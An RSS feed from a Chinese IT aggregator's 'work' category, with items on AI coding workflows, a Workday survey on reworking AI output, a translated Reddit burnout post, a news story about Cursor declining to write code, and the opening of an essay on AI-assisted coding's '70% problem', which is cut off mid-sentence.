<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/rss.xsl" type="text/xsl"?>
<rss version="2.0">
  <channel>
    <title>IT瘾工作推荐</title>
    <link>https://itindex.net/categories/工作</link>
    <description>IT社区推荐资讯 - ITIndex.net</description>
    <language>zh</language>
    <copyright>https://itindex.net/</copyright>
    <generator>https://itindex.net/</generator>
    <docs>http://backend.userland.com/rss</docs>
    <image>
      <url>https://itindex.net/images/logo.gif</url>
      <title>IT社区推荐资讯 - ITIndex.net</title>
      <link>https://itindex.net/categories/工作</link>
    </image>
    <item>
      <title>一个AI开发工作流</title>
      <link>https://itindex.net/detail/63192-ai-%E5%BC%80%E5%8F%91-%E5%B7%A5%E4%BD%9C%E6%B5%81</link>
      <description>我现在的 flow 是：

 &lt;img alt="1&amp;#65039;&amp;#8419;" src="https://abs-0.twimg.com/emoji/v2/svg/31-20e3.svg"&gt;&lt;/img&gt; 先前端 + mock 数据（claude + gemini）
 &lt;img alt="2&amp;#65039;&amp;#8419;" src="https://abs-0.twimg.com/emoji/v2/svg/32-20e3.svg"&gt;&lt;/img&gt; 然后再 codex 写代码
 &lt;img alt="3&amp;#65039;&amp;#8419;" src="https://abs-0.twimg.com/emoji/v2/svg/33-20e3.svg"&gt;&lt;/img&gt; claude review
 &lt;img alt="4&amp;#65039;&amp;#8419;" src="https://abs-0.twimg.com/emoji/v2/svg/34-20e3.svg"&gt;&lt;/img&gt; codex 自己跑 playwright 做 e2e 测试
 &lt;img alt="5&amp;#65039;&amp;#8419;" src="https://abs-0.twimg.com/emoji/v2/svg/35-20e3.svg"&gt;&lt;/img&gt; 我自己验收，关 issue

主要是 codex 前端真不行，一把梭 AI 太放飞

现在的问题是：claude 用量太少，成本有点高；gemini cli 慢成狗

你们玩的？ &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;-- 我感觉现在国产模型因为过于注重主观和跑分，前端能力很强，第一步换成 kimi 或者 glm，claude 的用量就降下来了，gemini 被薅太狠已经没法用了&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;--测试的skill基本上就是  &lt;a href="https://t.co/XvKJVcwdKz" rel="noopener noreferrer nofollow" target="_blank"&gt;skills.sh&lt;/a&gt; 排名靠前那些了&lt;/div&gt; &lt;a href="https://t.co/XvKJVcwdKz" rel="noopener noreferrer nofollow" target="_blank"&gt;http://&lt;/a&gt;
我发现 skills 还是得自己造

你多看看头部那些 skills 的具体内容，学习下他们是怎么约束 AI 的，然后自己造

就跟以前看优秀开源项目的代码一样&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/63192-ai-%E5%BC%80%E5%8F%91-%E5%B7%A5%E4%BD%9C%E6%B5%81</guid>
      <pubDate>Fri, 03 Apr 2026 11:01:00 CST</pubDate>
    </item>
    <item>
      <title>AI带来的工作效率提升，正在被返工修改抵消</title>
      <link>https://itindex.net/detail/63170-ai-%E5%B7%A5%E4%BD%9C-%E6%8F%90%E5%8D%87</link>
      <description>&lt;p&gt;企业管理平台Workday在近日发布的研究报告中  &lt;a href="https://technode.global/2026/02/27/more-singapore-organizations-using-ai-but-reworking-outputs-dampens-productivity-workday/"&gt;指出&lt;/a&gt;，由于需要对AI生成内容进行校正、调整或者重写，企业员工原本获得的生产力提升正在被部分抵消。随着AI工具在组织内的广泛部署，这一生产力缺口成为企业需要面对的现实问题。&lt;/p&gt;
 &lt;p&gt;这项覆盖全球3200名受访者、包含新加坡样本的调查显示，约半数新加坡受访者每周至少花费一小时处理AI生成内容的返工工作，其中12%每周在相关返工上投入两到四小时。尽管如此，整体净生产力仍保持正增长，七成受访者表示当前的工作效率高于引入AI之前的水平。&lt;/p&gt;
 &lt;p&gt;在应用情况方面，所有受访者均表示其所在企业已部署AI工具，86%的企业落地三个或以上应用场景。随着AI不断融入日常工作流程，绩效要求也随之同步提高。&lt;/p&gt;
 &lt;p&gt;六成受访者表示，管理层对其工作产出的期望已明显高于采用AI之前。报告还显示，管理者与总监更可能承担验证、优化与审批AI辅助内容的职责，其角色更多体现为质量把关。&lt;/p&gt;
 &lt;p&gt;在效率与成本收益的分配上，企业倾向于将部分节省资源重新投入员工。报告显示，在因AI节省时间的企业中，78%的受访者表示这些时间被用于员工发展、技能提升或培训，68%将时间转向更具战略性或创新性的工作。同时，80%的受访者表示AI带来的成本节约被再投入劳动力群体，该比例与技术及基础设施投入相当，明显高于返还给股东的23%。&lt;/p&gt;
 &lt;p&gt;尽管工作量预期提高，整体情绪仍相对稳定。75%的受访者表示信任管理层会就AI对岗位安全和薪酬的影响作出公平决策，仅7%表达对被替代的担忧。六成受访者表示，自AI工具部署以来，其压力水平和倦怠风险有所下降。&lt;/p&gt;
 &lt;p&gt;最后，报告指出，AI可以带来效率提升，但速度本身并不会自动转化为长期价值。企业仍需在AI素养与批判性思维等核心能力上持续投入，提升员工在判断与决策场景中的使用能力。相应的，将节省的时间视为战略资源，并持续投入员工发展，有助于减少返工并改善业务成果。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>动点出海 AI 数据报告 新加坡</category>
      <guid isPermaLink="true">https://itindex.net/detail/63170-ai-%E5%B7%A5%E4%BD%9C-%E6%8F%90%E5%8D%87</guid>
      <pubDate>Fri, 27 Feb 2026 18:38:24 CST</pubDate>
    </item>
    <item>
      <title>如何处理处理工作压力太大身心俱疲问题</title>
      <link>https://itindex.net/detail/63000-%E7%90%86%E5%B7%A5-%E5%8E%8B%E5%8A%9B-%E9%97%AE%E9%A2%98</link>
      <description>reddit的personalfinance版一个帖子，关于科技大厂管理人员寻求意见，虽然工资高但工作压力太大导致自己身心俱疲。原帖和回复都很好，下面的讨论有不少值得学习的地方，包括怎样避免被工作燃尽能量和精神（burn-out）。有兴趣的建议看原贴。翻译自ChatGPT。原帖主轻债务的生活方式也值得借鉴，不过租房和幼儿园也是贵…… &lt;br /&gt; &lt;br /&gt;评论也有人谈到可以暂时离职，不过有人警告并不是所有公司希望听到员工有心理问题……可能会导致后续的麻烦。 &lt;br /&gt; &lt;br /&gt;简要：35岁男性，33岁女性，有一个3岁孩子。资产达到了200万美元，但每时每刻都感到疲惫和焦虑。 &lt;br /&gt;我们能在哪里脱离职场，靠这笔投资组合生活？任何建议都欢迎。 &lt;br /&gt; &lt;br /&gt;我们（35岁男性，33岁女性）今年达到了200万美元的净资产。这个数字是我五年前梦寐以求的，但现在我只感到筋疲力尽和绝望。自从进入大型科技公司后，我整个人都变了。从一个热爱科技、追求成长的人，变成了一个痛苦、焦虑、压力重重的上班族，每天早上醒来都感到痛苦。大科技公司彻底剥夺了我对科技的热情，我每时每刻都害怕上班。这不仅影响了我的心理健康，还开始在婚姻中引发紧张。我只想结束这一切，逃离这场竞争。 &lt;br /&gt; &lt;br /&gt;资产： &lt;br /&gt; • 投资账户：$160万（VTI, VXUS）
 • 401k：$25万 &lt;br /&gt; • 现金：$15万（高收益储蓄账户）
 • 总计：$200万 &lt;br /&gt; • 收入：约60万美元，典型的大型科技公司高级职位，要求高且压力大 &lt;br /&gt; &lt;br /&gt;支出： &lt;br /&gt;我们俩都推崇极简主义，因此生活方式很简单。租房，没有房贷或物业，汽车已还清贷款。每天自己做饭，每周外出就餐1-2次。目前最大的支出是租金和孩子在超高生活成本区（VHCOL）的托儿费，总计约每月8,000美元。第二大支出是家庭假期，每年总费用约15-20k美元，包含一次国际旅行和1-2次国内旅行。我们是移民家庭，家人住在地球的另一端。让他们与我们的孩子相处是我们的首要任务。 &lt;br /&gt; &lt;br /&gt;我们知道200万美元按3-4%的提取率无法维持当前的年支出。但我们愿意探索各种可能性。根据我的研究，和我处境类似的人通常有以下选择： &lt;br /&gt; 1. 休假调整心态，然后回去继续奋斗 &lt;br /&gt; 2. 换一份压力小、工资低的工作，继续工作直到实现财务独立退休（FIRE） &lt;br /&gt; 3. FIRE到生活成本较低的国家，以延长资金使用年限 &lt;br /&gt; &lt;br /&gt;前两个选项对我来说都不行。想到工作的感觉就让我毛骨悚然。我觉得自己（心理上）根本不适合再开始一份新工作。而且，考虑到我的职位和当前的就业市场，几乎不可能休假后还能回到现在的高薪岗位。我一直在认真考虑第三个选项。 &lt;br /&gt; &lt;br /&gt;top回复： &lt;br /&gt; &lt;br /&gt;我也经历过和你一样的情况，就在一个月前。 &lt;br /&gt;这是可以解决的！我被派去参加公司为优秀员工安排的外训，在那里我通过交流发现，几乎每个人都和你现在有同样的感受。 &lt;br /&gt;如果你已经打算辞职，那就没有什么可失去的了。问问自己：“为什么我要拼命保住一份让我痛苦的工作？” 既然你已经在找退路，为什么不先试着让你的60万美元年薪职位为你服务呢？ &lt;br /&gt; &lt;br /&gt;你需要彻底改变自己的工作习惯。 &lt;br /&gt;现在，今天你就应该： &lt;br /&gt; • 休一个尽可能长的假，把工作相关的应用从手机上删除，避免诱惑。 &lt;br /&gt; • 停止在日程的每个空隙中塞进邮件和会议。放手，不去做。真的。 &lt;br /&gt; • 对于每一项任务，都问自己：“我的团队里谁能帮我做这件事？” 学会委派任务，腾出时间。 &lt;br /&gt; • 在日历上为每天的散步时间做标记。不要带手机，不工作，真的走一走，让大脑有空间思考，而不是在睡觉时纠结。 &lt;br /&gt; • 坚持一个自我期望：离开办公室时，至少要有和进办公室时一样的精力。远离那些耗尽你能量的人，如果需要，就给自己离开的许可。这种心理许可非常重要。 &lt;br /&gt; • 每天早上，进行一次“情绪检查”，真实面对自己的感受。不要再对自己撒谎说“我很好”。隐藏倦怠感会让情况更糟。 &lt;br /&gt; • 告诉你的上司你的真实感受，并请求他们帮助你坚持这些改变。如果你隐瞒然后突然崩溃，对他们不公平。 &lt;br /&gt; • 以对公司同样的忠诚度和可靠性来对待自己，认真对待自我照顾。 &lt;br /&gt; • 吃一份沙拉，锻炼一下，和好友喝杯咖啡，按时睡觉。这些小事加起来，真的会带来改变。
     
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/63000-%E7%90%86%E5%B7%A5-%E5%8E%8B%E5%8A%9B-%E9%97%AE%E9%A2%98</guid>
      <pubDate>Thu, 03 Apr 2025 08:31:08 CST</pubDate>
    </item>
    <item>
      <title>Karpathy氛围编码「吃瘪」？Cursor拒绝工作，并劝人类别依赖它</title>
      <link>https://itindex.net/detail/62992-karpathy-%E7%BC%96%E7%A0%81-cursor</link>
      <description>&lt;section&gt;Cursor 也学会「怠工」了？&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;它不仅对用户的运行要求说「No」，还给出了合理的理由。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;近日，一位国外 X 用户「JanSwist」在使用 Cursor 编码时，有了这一发现。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;事情是这样的：这位用户在 Cursor 上调用了 Claude 3.5 Sonnet，当编码到 750 行左右的时候，Cursor 不工作了，并告诉他要自己学习编码，否则会产生依赖性。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;用户也懵了，Cursor 的行为看起来太奇怪了，这难道就是它的目的吗？&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476405" data-ratio="0.4064814814814815" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MVlP2ic0vwvTj2LaYNylDzvqKYqJfoIvoqakRwoolbKusDriacMGz6qxw/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="1" src="https://image.jiqizhixin.com/uploads/editor/2367fad8-04d0-4902-a34b-e5acc410fcae/640.png" data-report-img-idx="0" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;Cursor 给出了如下完整回答：&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;「我无法为你生成代码，因为那会完成你的工作。你的代码看起来是要处理赛车游戏中的刹车痕迹淡出效果，但你应该自己开发逻辑。这样做可以确保你了解系统并能正确维护它。」&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;至于理由，则是「为他人生成代码可能会导致依赖性，并减少学习机会」。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476406" data-ratio="0.6220183486238532" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2Mht2eG7K9srKx5aMD7ot2Rt5ibGYeaZicACibW0wOPwbibicTVr5YfBUKt2w/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="545" data-original-style="null" data-index="2" src="https://image.jiqizhixin.com/uploads/editor/0071fc8f-fcc6-40fc-b973-2039e92cee47/640.png" data-report-img-idx="1" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;有人试图解释这一现象出现的原因，可能是没有对 750 行代码做任何重构，因此建议了解一下如何设置氛围编码（vibe coding）规则，以便 AI 更高效地运行。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476407" data-ratio="0.5592592592592592" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MskfLNSXFnWowsib34Q2MXvxLicStfgPG8qop7ddSGvU2kKMRaszkRGgg/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="3" src="https://image.jiqizhixin.com/uploads/editor/5f891012-d935-4200-98ca-18a471f2cfde/640.png" data-report-img-idx="2" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;其他人也认同这是「氛围编码的检查时刻」，用户还是得多学习自己写编码。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476408" data-ratio="0.6916666666666667" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MmHKAHP6Jiamu5k9fLBDHqEpPyW2abdoMLDJmLGyqae3My16zb25Dx9A/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="4" src="https://image.jiqizhixin.com/uploads/editor/4f63d7cd-6672-4a56-b4fb-4a954ebde58d/640.png" data-report-img-idx="3" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;那么，什么是氛围编码呢？它是知名 AI 科学家 Karpathy 创造的术语，用于描述开发者使用 AI 工具根据自然语言描述生成代码，而无需完全了解其工作原理。「我只是看到什么就说什么、运行、复制粘贴然后基本就能跑起来」，然后如果出现错误，再把错误信息交给 AI 并接受它的改动，试试看能不能运行，如此循环往复。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476409" data-ratio="0.8407407407407408" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MbjLpPq74qmuYr1ERqicgic16uopibeVSX2F86o4JX2dqUsoAKaGuL6QZQ/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="5" src="https://image.jiqizhixin.com/uploads/editor/fa5c285b-59c0-4220-8450-d9328b4ed64c/640.png" data-report-img-idx="4" data-fail="0" class="fr-fic fr-dib" style="width: 50%;"&gt;&lt;/section&gt;&lt;section&gt;与传统开发实践相比，氛围编码更注重速度和实验性，而前者更强调深入的技术理解和代码质量。两者各有优劣，氛围编码适合快速迭代和小规模项目，而传统开发则更适合需要高可靠性和可维护性的大型系统&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;此次，Cursor 的突然拒绝代表了对氛围编码兴起的「讽刺性转折」。这一全新的编码范式虽然能让那些寻求极致效率的开发者快速完成任务，但如何确保系统的稳定性依然需要进一步得到重视。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;网友热议&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;一石激起千层浪，这一发现引发了网友热议。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;帖主表示自己也没想到这帖子会这么火。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476410" data-ratio="0.1685185185185185" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2M0ykTswNvfibpHgyX20pgJY4xttJZSZWdE1yRW6NVp1x6VXbCsK2zKkA/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="6" src="https://image.jiqizhixin.com/uploads/editor/8555f11f-7f88-4d07-b024-fea86bdd00e7/640.png" data-report-img-idx="5" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;他第一次下载并运行 Cursor 的时候，遇到了这个问题。后来发现，原来他应该使用 Agent 模式，而不是 Cmd+K 内嵌（inline）命令，因为内嵌模式有一些限制，而 Agent 模式的限制要少得多。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;帖主十分震惊，AI 竟然能说出这样的话，那未来是不是也会对用户表现出「态度」。也有评论对这种可能感到担忧。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476411" data-ratio="0.09188034188034189" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MuffGv5CDFrgpAYMe8BehLPNVhpcvvUcWqmEDpsXaicSmkkalrS9Pibog/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="936" data-original-style="null" data-index="7" src="https://image.jiqizhixin.com/uploads/editor/c5637be0-413f-48fb-8008-1b9a48087ea3/640.png" data-report-img-idx="6" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;还有网友类比了使用 Stable Diffusion 的经历（虽然不一定真的有关联）。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476412" data-ratio="0.3194444444444444" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MUicIwLuZum9QRulP3TjhxagUgqdapGUiaJsVV9ZiaQys4d7ickbVxibD9oQ/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="8" src="https://image.jiqizhixin.com/uploads/editor/b1d98d9c-7d16-4d5f-bde4-f877a75fd726/640.png" data-report-img-idx="7" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;他谈到了 Stable Diffusion 和 LoRA 训练中的一些现象，特别是生成结果中意外但稳定的意料外的元素。他发现，某些特定的提示词 + seed 组合会生成带有不在输入数据或预期范围内的特征，即使调整参数，这些特征依然保持稳定。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;这可能是因为训练过程中，一些概念在潜在空间中模糊传播，即使它们在数据集中并不明显。在 LoRA 训练中，输入的某些概念可能会被转化为难以解释但稳定存在的形态。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;也有人怀疑是不是 Cursor 的 内嵌命令面板遇到内部错误，最终导致栈溢出，才会说出这样的话来。不少评论表示自己也遇到过这种错误。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476413" data-ratio="0.32407407407407407" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MJiaU5miab1HicxibsWyNHvyITOXkcRUPWMAhlYrzXguWWbGqpl2eHUmFicw/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="9" src="https://image.jiqizhixin.com/uploads/editor/19b7769c-ba36-40b4-b2bd-3ac57d1ef62c/640.png" data-report-img-idx="8" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;当然，还有评论对这次 Cursor 劝学表示，这简直就是「AI 流行病」！AI 让人变得懒惰，人类对它的依赖会导致学习能力下降，整个社会的智商都会倒退。&lt;/section&gt;&lt;section&gt;&lt;img alt="image.png" data-imgfileid="503476414" data-ratio="0.5074074074074074" data-src="https://mmbiz.qpic.cn/sz_mmbiz_png/KmXPKA19gW9wEqAPYZmRkfGFpIvpZia2MCdmUlpqNCxZ07cn74ncWpxCnS6GWcOicPo4C2MfpzJjia0PHvIczjZMw/640?wx_fmt=png&amp;from=appmsg" data-type="png" data-w="1080" data-original-style="null" data-index="10" src="https://image.jiqizhixin.com/uploads/editor/6afc4307-d91f-4c1b-bc06-b6d7448e46d8/640.png" data-report-img-idx="9" data-fail="0" class="fr-fic fr-dib" style="width: 70%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;反方则表示， AI 增加人的效率是科技进步，而非问题。人类一直在发明工具来减少工作量，使工作变得更高效。你觉得呢？&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;em&gt;&lt;sup&gt;参考链接：&lt;/sup&gt;&lt;/em&gt;&lt;/section&gt;&lt;section&gt;&lt;em&gt;&lt;sup&gt;https://arstechnica.com/ai/2025/03/ai-coding-assistant-refuses-to-write-code-tells-user-to-learn-programming-instead/&lt;/sup&gt;&lt;/em&gt;&lt;/section&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62992-karpathy-%E7%BC%96%E7%A0%81-cursor</guid>
      <pubDate>Sun, 16 Mar 2025 22:29:48 CST</pubDate>
    </item>
    <item>
      <title>AI 辅助编码的残酷真相：它能帮你完成70%的工作</title>
      <link>https://itindex.net/detail/62969-ai-%E7%BC%96%E7%A0%81-%E7%9C%9F%E7%9B%B8</link>
      <description>&lt;div&gt;    &lt;h3&gt;一份实战指南，以及为何我们需要重新审视自己的期望&lt;/h3&gt;    &lt;p&gt;在过去几年深入参与 AI 辅助开发的过程中，我注意到一个非常有趣的现象：尽管许多工程师都表示自己在使用 AI 时生产力显著提升，但我们日常使用的软件却并没有明显变好。到底发生了什么？&lt;/p&gt;    &lt;p&gt;我想我知道原因，而其中揭示了一些软件开发的根本事实，值得我们认真思考。让我来分享我所学到的内容。&lt;/p&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;img&gt;&lt;/img&gt;    &lt;h2&gt;开发者实际上是如何使用 AI 的&lt;/h2&gt;    &lt;p&gt;我观察到，团队在利用 AI 进行开发时，主要呈现两种模式——“启动者（bootstrappers）”和“迭代者（iterators）”。这两种模式都在帮助工程师（甚至非技术用户）缩小从想法到执行（或 MVP）的距离。&lt;/p&gt;    &lt;img&gt;&lt;/img&gt;    &lt;h3&gt;启动者：从零到 MVP&lt;/h3&gt;    &lt;p&gt;像 Bolt、v0 以及“截图转代码”一类的 AI 工具正在彻底改变我们启动新项目的方式。这些团队通常会：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;从一个设计或大致概念开始&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;使用 AI 生成一个完整的初始代码库&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;在数小时或数天内就能拿到一个可用的原型，而不是几周&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;专注于快速验证和迭代&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;成果常常令人惊叹。我最近看到一位独立开发者使用 Bolt，只花很短时间就把 Figma 设计变成了可运行的 Web 应用。虽然它还不具备生产环境所需的完备性，但足以收集最初的用户反馈。&lt;/p&gt;    &lt;h3&gt;迭代者：日常开发&lt;/h3&gt;    &lt;p&gt;第二种模式是使用像 Cursor、Cline、Copilot 和 WindSurf 这样的工具来辅助日常开发工作。这种做法没那么耀眼，但可能更具变革性。这些开发者通常会：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;用 AI 完成代码补全和建议&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;利用 AI 进行复杂的重构任务&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;生成测试和文档&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;将 AI 当作“结对程序员”来共同解决问题&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;但问题在于：尽管这两种模式都能极大地加快开发进度，却有一些隐性的成本并不那么明显。&lt;/p&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;“AI 速度”的隐形成本&lt;/h2&gt;    &lt;p&gt;当你看着一位资深工程师使用 Cursor 或 Copilot 等 AI 工具时，会觉得非常神奇。他们能在短短几分钟内搭起完整的功能结构，还包括测试和文档。但如果你仔细观察，就会发现他们实际上在不停地：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;将生成的代码重构为更小、更专注的模块&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;补充 AI 漏掉的边界情况&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;加强类型定义和接口设计&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;质疑架构决策&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;添加健全的错误处理&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;换言之，他们是在用自己多年积累的工程经验，对 AI 的输出进行塑造和约束。AI 加快了他们的实现过程，但真正让代码可维护的是他们的专业知识。&lt;/p&gt;    &lt;p&gt;初级工程师往往会忽视这些关键步骤。他们更容易接受 AI 的输出，导致我称之为“纸牌屋代码”的现象——看起来完整，但在实际场景下一碰就倒。&lt;/p&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;知识悖论&lt;/h2&gt;    &lt;p&gt;我所发现的最耐人寻味的一点在于：AI 工具对有经验的开发者帮助更大，而不是对新手更大。这似乎跟我们期待的相反——难道 AI 不应该让编程更加民主化吗？&lt;/p&gt;    &lt;p&gt;事实上，AI 就像你团队里一个非常热情的初级开发者。他们可以很快写出代码，但需要持续的监督和纠正。你对开发了解得越深，就越能更好地引导 AI。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;这就产生了我所说的“知识悖论”&lt;/strong&gt;：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;资深开发者使用 AI 来加速他们“已经知道怎么做”的事情&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;初级开发者试图用 AI 来“学会如何做”&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;二者结果大相径庭&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;      &lt;strong&gt;我见过的资深开发者会&lt;/strong&gt;：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;快速做出他们心中已有把握的原型&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;让 AI 生成初步实现，然后进行精炼&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;探索已知问题的不同解决方案&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;自动化各种常规编码任务&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;      &lt;strong&gt;而初级开发者往往会&lt;/strong&gt;：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;        &lt;p&gt;接受不正确或已过时的解决方案&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;忽视关键的安全和性能考量&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;调试 AI 生成的代码时感到困难&lt;/p&gt;&lt;/li&gt;      &lt;li&gt;        &lt;p&gt;构建出脆弱而自己并不真正理解的系统&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;hr&gt;&lt;/hr&gt;    &lt;h2&gt;70% 问题：AI 的学习曲线悖论&lt;/h2&gt;    &lt;p&gt;最近我看到一条 推文 完美诠释了我在实践中观察到的现象：非专业工程师在使用 AI 进行编码时，会很快实现 70% 的功能，但余下的 30% 却陷入痛苦的“边际收益递减”之中。&lt;/p&gt;    &lt;img&gt;&lt;/img&gt;    &lt;blockquote&gt;      &lt;p&gt;作为一个非专业工程师，以下是我对使用AI编程的真实感受：&lt;/p&gt;      &lt;p&gt;它能帮你完成70%的工作，但最后30%令人非常沮丧。每前进一步，就会因为新的bug和问题而后退两步。&lt;/p&gt;      &lt;p&gt;如果我知道代码是如何运作的，也许我自己就能修复这些问题。但由于我不懂，我开始怀疑自己是否真的学到了什么。&lt;/p&gt;&lt;/blockquote&gt;    &lt;p&gt;这个“70% 问题”揭示了当前 AI 